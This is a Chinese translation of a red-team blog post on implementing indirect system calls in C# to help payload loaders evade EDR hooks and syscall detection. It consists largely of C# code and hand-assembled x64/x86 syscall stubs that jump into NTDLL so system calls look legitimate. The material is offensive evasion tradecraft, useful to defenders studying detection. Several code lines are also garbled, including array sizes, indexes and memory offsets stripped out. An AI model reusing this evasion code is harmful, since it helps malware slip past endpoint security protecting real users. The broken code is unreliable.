C# 中的系统间接调用
英文原文:https://www.netero1010-securitylab.com/evasion/indirect-syscall-in-csharp一、介绍
在进行 C# tradecraft 开发时,想知道 C# 中是否有类似 SysWhispers 的实现,我从 SECFORCE 找到了一个名为 SharpWhispers 的优秀项目。通过提供函数 (SharpASM) 来执行汇编并重新实现 "按系统调用地址排序" 方式来查找系统调用号 (SSN),这让我的生活变得更加轻松,就像 SysWhispers2 所做的那样。
随着越来越多地使用直接系统调用作为针对 EDR API 挂钩的规避技术,开发了一些检测策略,例如 "系统调用标记" 签名和执行源自 NTDLL 外部的系统调用指令,以识别静态和动态中的异常系统调用使用。
因此,KlezVirus 实施了另一个名为 SysWhispers3 的解决方案来演示间接系统调用技术,该技术可用于绕过上述检测策略。
通过实现间接系统调用,可以享受以下好处:
[*]避免在 payload 中包含系统调用指令
[*]确保系统调用执行始终源自合法的 NTDLL
为了给加载器提供更好的规避能力,我开始在 C# 中实现基于 SharpWhispers 和 SysWhispers3 的间接系统调用,这篇文章将记录我为实现它所做的关键步骤。
二、用 C# 实现间接系统调用
间接系统调用技术旨在将原始系统调用指令替换为指向 NTDLL 的内存地址的跳转指令,该地址存储系统调用指令。
例如,每个 NTDLL API (即 NtAllocateVirtualMemory) 的偏移量 0x12 通常是如下所示的 syscall 指令:
要获取每个 NTDLL API 的 syscall 地址,可以遍历当前进程中加载的 NTDLL,获取每个 NTDLL 导出函数的地址,并分别计算偏移量 0x12 和 0x0f,得到指向 syscall/sysenter 的地址 (相当于syscall 在 32 位操作系统中) 指令。
最初的 SharpWhispers 已经完成了定位导出表目录和每个 NTDLL API 函数的相对虚拟地址的困难部分。我的部分将尝试重新实现与 SysWhispers3 在 CSharp 中所做的类似功能,以获取每个 NTDLL API 的系统调用指令的地址。
最初的 SysWhisper3 实现使用固定偏移量来计算系统调用。但是,如果安装了 EDR 挂钩并且在 他的博客文章 中提到,则可能无法找到系统调用指令。
为确保始终找到系统调用指令,我通过逐字节搜索 NTDLL API 地址旁边的系统调用指令,在静态偏移未能找到系统调用指令的情况下进行了额外搜索。
public static IntPtr SC_Address(IntPtr NtApiAddress)
{
IntPtr SyscallAddress;
#if WIN64
byte[] syscall_code =
{
0x0f, 0x05, 0xc3
};
UInt32 distance_to_syscall = 0x12;
#else
byte[] syscall_code =
{
0x0f, 0x34, 0xc3
};
UInt32 distance_to_syscall = 0xf;
#endif
// Start with common offset to syscall
var tempSyscallAddress = NtApiAddress.ToInt64() + distance_to_syscall;
SyscallAddress = (IntPtr) tempSyscallAddress;
byte[] AddressData = new byte;
Marshal.Copy(SyscallAddress, AddressData, 0, AddressData.Length);
if (AddressData.SequenceEqual(syscall_code)){
return SyscallAddress;
}
long searchLimit = 512;
long regionSize = 0;
long pageAddress = 0;
long currentAddress = 0;
// If syscall not found, search the closest one to the current NTDLL API address byte by byte
PE.MEMORY_BASIC_INFORMATION mem_basic_info = new PE.MEMORY_BASIC_INFORMATION();
if(Imports.VirtualQueryEx(Imports.GetCurrentProcess(), NtApiAddress, out mem_basic_info, (uint)Marshal.SizeOf(typeof(PE.MEMORY_BASIC_INFORMATION))) != 0)
{
regionSize = mem_basic_info.RegionSize.ToInt64();
pageAddress = (long)mem_basic_info.BaseAddress;
currentAddress = NtApiAddress.ToInt64();
searchLimit = regionSize-(currentAddress-pageAddress)-syscall_code.Length+1;
}
for (int num_jumps = 1 ; num_jumps < searchLimit ; num_jumps++){
tempSyscallAddress = NtApiAddress.ToInt64() + num_jumps;
SyscallAddress = (IntPtr) tempSyscallAddress;
AddressData = new byte;
Marshal.Copy(SyscallAddress, AddressData, 0, AddressData.Length);
if (AddressData.SequenceEqual(syscall_code)){
return SyscallAddress;
}
}
return IntPtr.Zero;
}
然后,在原始的 SYSCALL_ENTRY 对象中进行了编辑,使其具有附加属性来存储每个 NTDLL API 的系统调用指令的地址。
此外,添加了额外的检查 (iswow64()) 以确定它是否是 Windows 64 位 (WoW64),并跳过系统调用指令搜索以最小化负载的开销。
public struct SYSCALL_ENTRY
{
public string Hash;
public IntPtr Address;
public IntPtr SyscallAddress;
}
...
#if !WIN64
public static bool iswow64()
{
byte[] checkiswow64 =
{
0x64, 0xA1, 0xC0, 0x00, 0x00, 0x00, // mov eax, fs:
0x85, 0xC0, // test eax, eax
0x75, 0x06, // jump if wow64
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0
0xC3, // ret
0xB8, 0x01, 0x00, 0x00, 0x00, // mov eax, 1
0xC3 // ret
};
IntPtr iswow64 = SharpASM.callASM(checkiswow64);
if (iswow64.ToInt64() == 1)
return true;
else
return false;
}
#endif
...
public static bool PopulateSyscallList(IntPtr moduleBase)
{
...
// Check if it is wow64
bool wow64 = System.Environment.Is64BitOperatingSystem && !System.Environment.Is64BitProcess;
// Check if is a syscall
if (functionName.StartsWith("Zw"))
{
var functionOrdinal = Marshal.ReadInt16((IntPtr)(moduleBase.ToInt64() + ordinalsRva + i * 2)) + ordinalBase;
var functionRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + functionsRva + 4 * (functionOrdinal - ordinalBase)));
functionPtr = (IntPtr)((long)moduleBase + functionRva);
Temp_Entry.Hash = HashSyscall(functionName);
Temp_Entry.Address = functionPtr;
#if WIN64
Temp_Entry.SyscallAddress = SC_Address(functionPtr);
#else
// If wow64, skip syscall instruction search
if (iswow64())
Temp_Entry.SyscallAddress = IntPtr.Zero;
else
Temp_Entry.SyscallAddress = SC_Address(functionPtr);
#endif
// Add syscall to the list
SyscallList.Add(Temp_Entry);
}
...
}
填充系统调用列表后,每次我想执行系统调用时,都会使用 GetSyscallAddress 函数从系统调用条目列表中随机选择一个系统调用地址。
public static IntPtr GetSyscallAddress(string FunctionHash)
{
var hModule = GetPebLdrModuleEntry("ntdll.dll");
if (!PopulateSyscallList(hModule)) return IntPtr.Zero;
Random rnd = new Random();
DWORD index = rnd.Next() % SyscallList.Count;
return SyscallList.SyscallAddress;
}
除了为间接系统调用填充系统调用地址列表的功能,还需要更新系统调用 STUB 程序集。
三、x64 中间接系统调用的系统调用 STUB
与 SysWhispers2/3 系统调用 STUB 实现不同,C# 版本的系统调用 STUB 不会调用汇编代码中的 getSyscallNumber 和 getSyscallAddress 函数。相反,这些函数将单独执行并在之后更新 STUB 模板。因此,由于堆栈没有改变,因此无需处理 CPU 寄存器。
更新后的系统调用 STUB 现在将随机生成的 NTDLL 系统调用地址分配给 R11,然后是跳转指令以实现间接系统调用。 x64 系统调用存根将如下所示:
static byte[] newSyscallStub =
{
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x18, 0x00, 0x00, 0x00, // mov eax, syscall number
0x49, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // movabs r11,syscall address
0x41, 0xFF, 0xE3 // jmp r11
};
四、x86 中间接系统调用的系统调用 STUB
对于 x86 系统调用 STUB,它会比 x64 稍微复杂一些,因为系统调用 STUB 需要更改以支持在 32 位操作系统和 64 位操作系统 (wow64) 上运行系统调用。
SharpWhispers 的原始系统调用 STUB (如下所示) 通过调用 fs: (KiFastSystemCall) 仅支持在 64 位操作系统中执行 x86。
static byte[] originalSyscallStub =
{
0x55, // push ebp
0x8B, 0xEC, // mov ebp,esp
0xB9, 0xAB, 0x00, 0x00, 0x00, // mov ecx,AB ; number of parameters
// push_argument:
0x49, // dec ecx
0xFF, 0x74, 0x8D, 0x08, // push dword ptr ss: ; parameter
0x75, 0xF9, // jne <x86syscallasm.push_argument>
// ; push ret_address_epilog
0xE8, 0x00, 0x00, 0x00, 0x00, // call <x86syscallasm.get_eip> ; get eip with ret-pop
0x58, // pop eax
0x83, 0xC0, 0x15, // add eax,15 ; Push return address
0x50, // push eax
0xB8, 0xCD, 0x00, 0x00, 0x00, // mov eax,CD ; Syscall number
// ; Get Address from TIB
0x64, 0xFF, 0x15, 0xC0, 0x00, 0x00, 0x00, // call dword ptr fs: ; call KiFastSystemCall
0x8D, 0x64, 0x24, 0x04, // lea esp,dword ptr ss:
// ret_address_epilog:
0x8B, 0xE5, // mov esp,ebp
0x5D, // pop ebp
0xC3 // ret
};
但是,现有的 STUB 不支持 32 位操作系统,因为 32 位操作系统 Windows 执行系统调用的方式不同。因此将使用另一条名为 "sysenter" 的指令,这是一条类似于 "syscall" 的指令,用于执行 x86 系统调用。从 32 位操作系统中的 WinDBG 可以更轻松地检查该指令。
为了支持 32/64 位操作系统执行,系统调用 STUB 将被重新构造,以首先确定它是否是 wow64 并重定向到正确的指令以执行系统调用。
x86 系统调用 STUB 将分成几个部分。首先,系统调用号将分配给 EAX 寄存器。
0xB8, 0xFF, 0x00, 0x00, 0x00, // mov eax, syscall number
参考 SysWhispers2,将进行测试以验证 fs: 是否存在,以确定操作系统的架构 (32/64 位)。
0x64, 0x8B, 0x0D, 0xC0, 0x00, 0x00, 0x00, // mov ecx, dword ptr fs:
0x85, 0xC9, // test ecx, ecx
0x75, 0x0f, // jne 18 <wow64>
TEB 0xC0 偏移量将根据操作系统的体系结构显示不同的结果。
如果地址为零,则表示系统运行的是 32 位操作系统,它会跳转到 NTDLL 中调用 sysenter 指令的指令,实现间接 syscall。
在 sysenter 指令中,EDX 将是用户态返回地址。因此,为 EDX 分配正确的返回值 (即 ESP) 非常重要,以避免将执行返回到意外地址。
0xE8, 0x01, 0x00, 0x00, 0x00, // call 1
0xC3, // ret
0x89, 0xE2, // mov edx, esp
0xBF, 0xFF, 0xFF, 0xFF, 0xFF, // mov edi, syscall address
0xFF, 0xE7, // jmp edi
同时,如果是运行 x86 程序的 x64 系统,会发生跳转,下一条指令会调用 KiFastSystemCall 函数。
// wow64
0x64, 0xFF, 0x15, 0xC0, 0x00, 0x00, 0x00, // call dword ptr fs: ; call KiFastSystemCall
0xC3 // ret
上述步骤将生成以下系统调用 STUB,以支持 32/64 位操作系统的 x86 系统调用执行。
static byte[] bSyscallStub =
{
// assign syscall number for later use
0xB8, 0xFF, 0x00, 0x00, 0x00, // mov eax, syscall number
// validate the architecture of the operating system
0x64, 0x8B, 0x0D, 0xC0, 0x00, 0x00, 0x00, // mov ecx, dword ptr fs:
0x85, 0xC9, // test ecx, ecx
0x75, 0x0f, // jne 18 <wow64>
0xE8, 0x01, 0x00, 0x00, 0x00, // call 1
0xC3, // ret
// x86 syscall for 32-bit OS
0x89, 0xE2, // mov edx, esp
0xBF, 0xFF, 0xFF, 0xFF, 0xFF, // mov edi, syscall address
0xFF, 0xE7, // jmp edi
// x64 syscall for 64-bit OS // wow64
0x64, 0xFF, 0x15, 0xC0, 0x00, 0x00, 0x00, // call dword ptr fs: ; call KiFastSystemCall
0xC3 // ret
};
通过在 SharpWispers 中包含上述代码,应该能够为 x64/x86 进程执行间接系统调用。
有了之前获得的系统调用号和系统调用地址,现在准备在 DynamicSyscallInvoke 函数中修改后的系统调用 STUB 模板的相应偏移量中替换它们。
int syscallNumber = SyscallSolver.GetSyscallNumber(fHash);
IntPtr syscallAddress = SyscallSolver.GetSyscallAddress(fHash);
#if WIN64
byte[] syscallNumberByte = BitConverter.GetBytes(syscallNumber);
syscallNumberByte.CopyTo(bSyscallStub, 4);
long syscallAddressLong = (long)syscallAddress;
byte[] syscallAddressByte = BitConverter.GetBytes(syscallAddressLong);
syscallAddressByte.CopyTo(bSyscallStub, 10);
#else
byte[] syscallNumberByte = BitConverter.GetBytes(syscallNumber);
syscallNumberByte.CopyTo(bSyscallStub, 1);
int syscallAddressInt = (int)syscallAddress;
byte[] syscallAddressByte = BitConverter.GetBytes(syscallAddressInt);
syscallAddressByte.CopyTo(bSyscallStub, 25);
#endif
将上述所有代码与 SharpWhispers 实现结合在一起,我们现在准备好拥有一个可以使用间接系统调用执行 NT API 的 C# 模板。
五、参考
[*]https://github.com/klezVirus/SysWhispers3
[*]https://github.com/SECFORCE/SharpWhispers
[*]https://github.com/Cobalt-Strike/unhook-bof
[*]https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/
页:
[1]